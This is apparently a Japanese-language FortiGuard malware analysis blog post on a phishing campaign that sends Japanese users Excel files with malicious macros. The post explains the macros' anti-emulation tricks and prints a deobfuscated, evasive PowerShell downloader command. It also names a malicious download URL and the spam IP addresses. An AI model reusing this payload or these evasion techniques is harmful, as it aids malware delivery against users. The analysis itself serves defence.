threat-research
FortiGuard SEグループは、過去数か月にわたり新たな脅威を検知するために自社の機械学習システムの活用と強化を行ってきました。先日、そういったマシンのひとつで異常な検知数の増加が発生し、数週間前から日本人ユーザーを標的としたソーシャルエンジニアリング手法を利用するマルウェア攻撃が発生していることが判明しました。
この攻撃も、多くのフィッシング攻撃と同様にまずはメール受信者に添付ファイルを開かせようとします。この攻撃で使われる添付ファイルは、不正なマクロが含まれる武器化されたExcelファイルです。今回の調査を通して、この攻撃者が採用している分析回避手法と、現時点で未登録のExcel変数の存在が明らかになりました。
図1. フォーティネットの機械学習システムで発生した異常な検知数の増加
図2. トラフィックが主に日本に集中している
この攻撃の1つであるスパムメールでは、多少の違いはあるものの「[!!] Matter of May invoice」(5月分の請求書の件)という件名と、日本語を簡単に英訳した本文が送信されます。別の件名や本文を使った攻撃も確認されています。
また、個人の送信者名を使用して受信者に「借りがある」といった内容を伝え、添付文書に対して返信を求めるメールもあります。
図3. 攻撃対象に送られたスパムメール(日本語の原文と英訳)
特定の人物から送信された4種類のパターンも確認されています。以下をご覧ください。
図4~7:特定の人物から送信された4種類のメール
また、「よろしくお願いいたします」や、「必要であれば、請求書をpdfでお送りします」など、若干異なるメッセージも確認されています。
このスパムメールには、不正なマクロが含まれるMicrosoft Excelファイルが添付されています。その例を以下でご紹介します。
図8. 不正なマクロを含むExcelファイル
この攻撃では、特定の国を狙う以外に、Excelのマクロ自体でさまざまな攻撃手法が使われていることが注目されました。そのすべてが新しい手法とは言い切れませんが、この攻撃が極めて慎重に開発されていることは明らかです。
最初に登場する手法は、先ほどのスクリーンショットに見られるような典型的なフェイク画像です。しかし、その先にはさらに悪質な手法が隠されていました。スプレッドシートのセル「A1」には、長い不正な文字列が入力されています。この文字列をコピーしようとしましたが、旧バージョンのExcelではエラーになりました。
図9. 不正なマクロを含むExcelファイルとエラーメッセージ
我々は、一般的な分析手法でこのマクロの詳しい調査を試みました。マクロの正体を大まかに確認するため、最終ペイロードを探して単純に通常のMsgBoxを作成して最終出力を確認しました。しかし、この試みは下記で示すように失敗に終わりました。
図10. 不正なマクロを含むExcelファイルとランタイムエラーのメッセージ
ここであきらめずに、我々はスプレッドシート内の別のセルに出力する分析を試しました。驚くべきことに、この分析では「メモリ不足」のエラーが発生しました。
図11. 不正なマクロを含むExcelファイルと、異なる分析を実行した際に表示されるエラーメッセージ
興味深いことに、外部ファイルに出力しようとした場合も同じエラーが発生しました。
最終的に、このマルウェア作成者はマクロの難読化を短時間で容易に解除する一般的な分析方法を妨害するため、ファイルに分析回避手法を組み込んでいることが判明しました。我々は、このマクロを詳しく検証し、実際に何が発生しているか把握しようとしました。
図12. マクロによるxlXmlExportValidationFailedチェックの例
他の不正なマクロと同様、スプレッドシートが開かれるとWorkbook_Open()
が呼び出され、マクロが自動的に起動します。しかし、xlXmlExportValidationFailed
など、Excel固有の変数を実際にチェックするマクロはそれほど多くはありません。この変数をチェックさせることで、作成者は実行場所をOffice Excel環境に限定していました。つまり、特定のExcel変数を適切にエミュレートできなければ、このマクロのエミュレーションが失敗するようになっていたのです。
これと同様の手口が、マクロ実行プロセスのさまざまな場所で使われています。
さらに、このマクロはExcelのApplication.International
プロパティも使用しています。このプロパティには、現在の国 / 地域や、Beta1()
関数を呼び出す際のインターナショナル設定に関する情報が含まれています。このマクロは最終的にExcelのxlDate
変数を参照していますが、不審なことにこの時点でこの変数は登録されていません。
図13. ExcelのApplication.International設定のプロパティにxlDateが見つからない文書例
この変数の重要性が、次のセクションで明らかになります。
図14. エミュレーション妨害手口の例
上図のoceran()
から分かるように、エミュレーションを妨害するための手口として別のExcel変数が使用されています。また、Shell()
コマンドは2つのパラメーターを求めています。1つは実際のコマンドで、もう1つはウィンドウスタイルです。今回の攻撃では、Sgn(123.67) - 1
と定義されています。簡単に言うと、ゼロを意味しています。つまり、どのようなコマンドが実行されてもこのウィンドウは表示されません。実際のコマンドは、Welcome()
関数の呼出とWestAndS()
関数の呼出の組み合わせとして定義されています。WestAndS()
関数は、前述したセル「A1」内の長い文字列の難読化解除を目的として使われ、Welcome()
関数がBeta1キーを使ってこれを解読します。念のため追記すると、Beta1キーは、未登録のxlDate
変数を使い、Application.International
設定のプロパティからインターナショナル設定にアクセスすることで確認されました。デフォルトでは、xlDateのUSA値は2です。ところが、このキーは「A1」の文字列を適切に解読できないため、文字化けを起こしました。
分析時間に限りがあるため、我々はxlDate
の正体を探るための努力を延々と続けるのではなく、単純にブルートフォース攻撃を仕掛けた方が効率的であると判断しました。該当のペイロードを狙って総当たり攻撃を仕掛けるため、マクロに3ずつ増える(この文字列が「Beta1 * 3
」というキーを呼び出していたため)簡単なFORループを追加しました。結果として、この戦略が成功しました。
図15. 解読されたPowerShellプロセスの例
解読された文は、日本の標準システムでtrueである81というBeta1の値と一致します。以下が、暗号化の解除されたペイロードです。
Wmic ProcEss "caLL" CrEATe "pOwERsHeLL -NONiNteRaCTI -W 1 -ExecutiOnpoL BypAsS -NoProF &( $pSHOmE[21]+$PShOME[30]+'x')( "\"sal b sal;b c Iex;b v nEw-oBject;(v Io.coMPReSSIoN.dEFlAtEStrEAM([sYsteM.Io.mEmORystrEAm] [conVErT]::fRoMBasE64StRiNg('REDACTED BASE64STRING')"\"+ ([CHAR]44).TOStRInG() + "\"[io.cOMpReSsIOn.COmPreSSiONmOdE]::DEComPrESs )|%{v iO.StREAmReADEr( `$_"\"+ ([CHAR]44).TOStRInG() + "\"[tExT.encODinG]::ASciI)}|%{ `$_.READtOeND( )})|c"\" ) "
PowerShellがフリーフォームの引数を使用していることに注目してください。「-ExecutionPolicy
」や「-NonInteractive
」など、引数を完全に指定する必要はありません。指定する引数が解釈可能である限り、一部のみ一致してれば問題ありません。例えば、「-e」のみを指定すると「-ExecutionPolicy
」も「-EncodedCommand
」も該当するため、曖昧であるとしてエラーになります。これは、コマンドラインの文字列から特定のパターンを見つける検出エンジンを回避することを目的とする検出回避手法である可能性が高いでしょう。
PowerShellの難読化解除に関していうと、1つのコマンドにはさまざまな難読化手法が5層に組み込まれています。最下層に辿り着くための手順については、このブログの読者の皆さん自身で練習としてご確認ください。最下層は、以下のようになっているはずです。
図16. 解読されたPowerShellプロセスの例
ここでは、別の日本語システムチェックが実行されています。スクリプトの続行を許可する前に、OSアーキテクチャが「ビ」であるかを確認します。カタカナの「ビ」は日本語のコンポーネントで、日本語以外の言葉を日本語に書き換える際に使われます。
このスクリプトは、PowerShellのエイリアスや文字列を連結させる手法を多用しています。さらに興味深いことに、一般的でない変数名を使用しています。特に、PowerShellで認められているとは驚きですが、数字から始まる名前が使用されています。
図17. 一般的でない変数名の例
最後に、この最終層はDownloadFileコマンドを使用してhxxps://berdiset.top/uploads/QuotaManager
(ロシアに存在する)に接続後、該当のPEファイルを$ENv:apPdAta\Outlook.srss.exe
に保存します。時間に限りがあるため、このダウンロードファイル(Outlook.srss.exe)を完全に分析することはできませんでしたが、このファイルはBEBLOH / URSNIF
の亜種(バンキング型トロイの木馬)である可能性があります。このことは、下記に挙げるこれまでのFortiGuard脅威インテリジェンスブリーフ(英文)で、日本のシステムを狙うバンキング型トロイの木馬について何度も取り上げていることため、特に驚くべきことではないでしょう。
メールヘッダーを調査した結果、今回の攻撃では以下のIPアドレスが使用されていることが判明しました。
93.147.115.90
93.58.112.48
79.11.236.101
79.11.173.200
165.51.245.201
130.0.161.134
39.45.30.114
79.7.176.43
31.197.238.214
79.3.19.107
驚いたことに、その80%はイタリアのIPアドレスでした。
図18. スパムサーバーのIPアドレス位置情報
2件は、パキスタン(39.45.30.114
)とチュニジア(165.51.245.201
)のIPアドレスでした。さらに詳しく調査したところ、これらのIPアドレスは別の攻撃でも確認されていたことが判明しました。具体的には、ボットネット攻撃で使用されていました。先ほどの例で確認した標的やメッセージのバリエーションを考えれば、これは当然と言えます。今回の調査から、これらのIPアドレスは過去にボットネット「Avalanche」、「Conficker」、「Cutwail」および「Quant」、また、マルウェア「Smokeloader」および「Nivdort」の亜種で使用されていたことが明らかになりました。
これらは、侵害に気付いていない一般人または小規模企業のシステムである可能性が高いと言えます。また、フォーティネットが四半期毎に発行している「フォーティネット脅威レポート:2019年第1四半期版」で詳しく解説していますが、さまざまな攻撃者がエクスプロイトで共通のインフラストラクチャを使用しているという、興味深いトレンドの一例でもあります。
テレメトリを検証した結果、我々は例外的に他のアジア諸国やヨーロッパがターゲットになる一部のケースを除き、攻撃の大多数が日本を集中的に狙っていることを確認しました。しかし、注目すべき例外として、イタリアのIPアドレス(130.0.161.134
)から発生している攻撃活動の多くが、オランダを標的にしていることも明らかになっています。
「BEBLOH」や「URSNIF」の主な標的が日本であることはよく知られていますが、先ほどの特定IPアドレスからの攻撃が、オランダを集中的に狙っている理由は分かっていません。しかし、確認したデータから得たサンプル [cb0b8a2c1ca33d89a2181e58a0948bd88f478a39af45d0b54c53913cd89a5aba]
が、オランダで増加傾向にあることが分かります。
重要であるかは分かりませんが、著名なセキュリティ研究者であるピーター・クルーズ(Peter Kruse)氏が、1週間ほど前(本レポートを書いている時点で)に「Bebloh」や「URSNIF」がオランダにも拡散されている可能性について、以下のツイート(英文)を投稿していました。
図19.イタリアとオランダにおける「BEBLOH」と「URSNIF」の活動に関するピーター・クルーズ氏のツイート
我々は、先ほども述べたサンプル[07c7ec61d9e4fe3af22a80fa206a019ed490aa37a1c1f6c46c3563701adc0510]
が、hxxps://berdiset.top/uploads/QuotaManager
を呼び出していることを確認しました。
これは、フォーティネットのデータセット用に観察されていたIPアドレス [5.188.60.133]
および [5.8.88.24]
に変換されます。どちらもロシアでホストされているIPアドレスで、DNSPOD.comという中国のダイナミックDNSプロバイダーを使用しています。興味深いことに、トロイの木馬「URSNIF」は、ロシア語または中国語のオペレーティングシステムを実行しているコンピュータを回避することがさまざまなレポートで報告されています。しかし、この攻撃の黒幕が、ダイナミックDNSをホストする以外にNDSPODを使う理由については完全には分かっていません。同様に、中国とロシアのつながりも単なる偶然かもしれません。
しかし、興味深いことにこのドメインは1カ月ほど前(2019年5月12日)に登録されたばかりでした。フォーティネットのテレメトリからは、berdiset.topを参照しているサンプルが日本で活動していることが判明しています。
5.8.88.24
の活動履歴興味深いことに、IPアドレス5.8.88.24
を使用する活動として、以前にはペルーに対する多数の攻撃が確認されていました。下の図から明らかなように、まったく活動していなかったにも関わらず2019年初旬から突然活動が開始されています。この攻撃キャンペーンに関してさらなる詳細や情報は明らかになっていませんが、関連するIPアドレスの今後の動向が気になるところです。
FortiMailなどのメールソリューションを使用し、特定のファイルタイプをブロックすることができます。FortiMailは、オンプレミスまたはクラウドのFortiSandbox(ATP:高度な脅威保護)ソリューションに添付ファイルを送信し、ファイルに不正な振る舞いがないか検証するように構成することも可能です。また、アンチウイルスが有効なサブスクリプションを追加したFortiGateファイアウォールを使用することで、このような脅威の検知や阻止が可能です。
さらに、コンテンツ無害化(CDR)サービスによってインバウンドのExcelファイルをはじめとするOfficeドキュメントや、PDFファイル内のスクリプトに含まれるマクロをすべて削除し、ネットワークに侵入する前にメールスレッドを無害化することも可能です。
ウイルスの最新シグネチャを活用するFortiClientは、これまで説明したExcelや関連ファイルを検知して阻止します。攻撃で使用されるファイルは、現時点では以下のファイルとして検知されます。
VBA/Agent.MUV!tr.dldr
W32/Inject.ALRRV!tr
本ブログに記載されているネットワークIOC(侵害指標)は、FortiGuard Webフィルタリングサービスによってすべてブラックリスト化されています。
FortiGuard Labsでは、脅威インテリジェンスブリーフ(英文)を毎週お届けしています。ぜひご購読ください。
FortiGuard LabsおよびFortiGuardセキュリティサービスのポートフォリオの詳細については、こちらをご覧ください。
セキュリティ監査とベストプラクティスを提供するFortiGuard セキュリティレーティングサービスについては、こちら(英文)をご参照ください。
URLが変更されました。ブックマークされている場合は、移動先の以下の環境で、改めて登録をお願いします。
https://www.fortinet.com/jp/blog/threat-research/excel-variable-targeting-japanese-users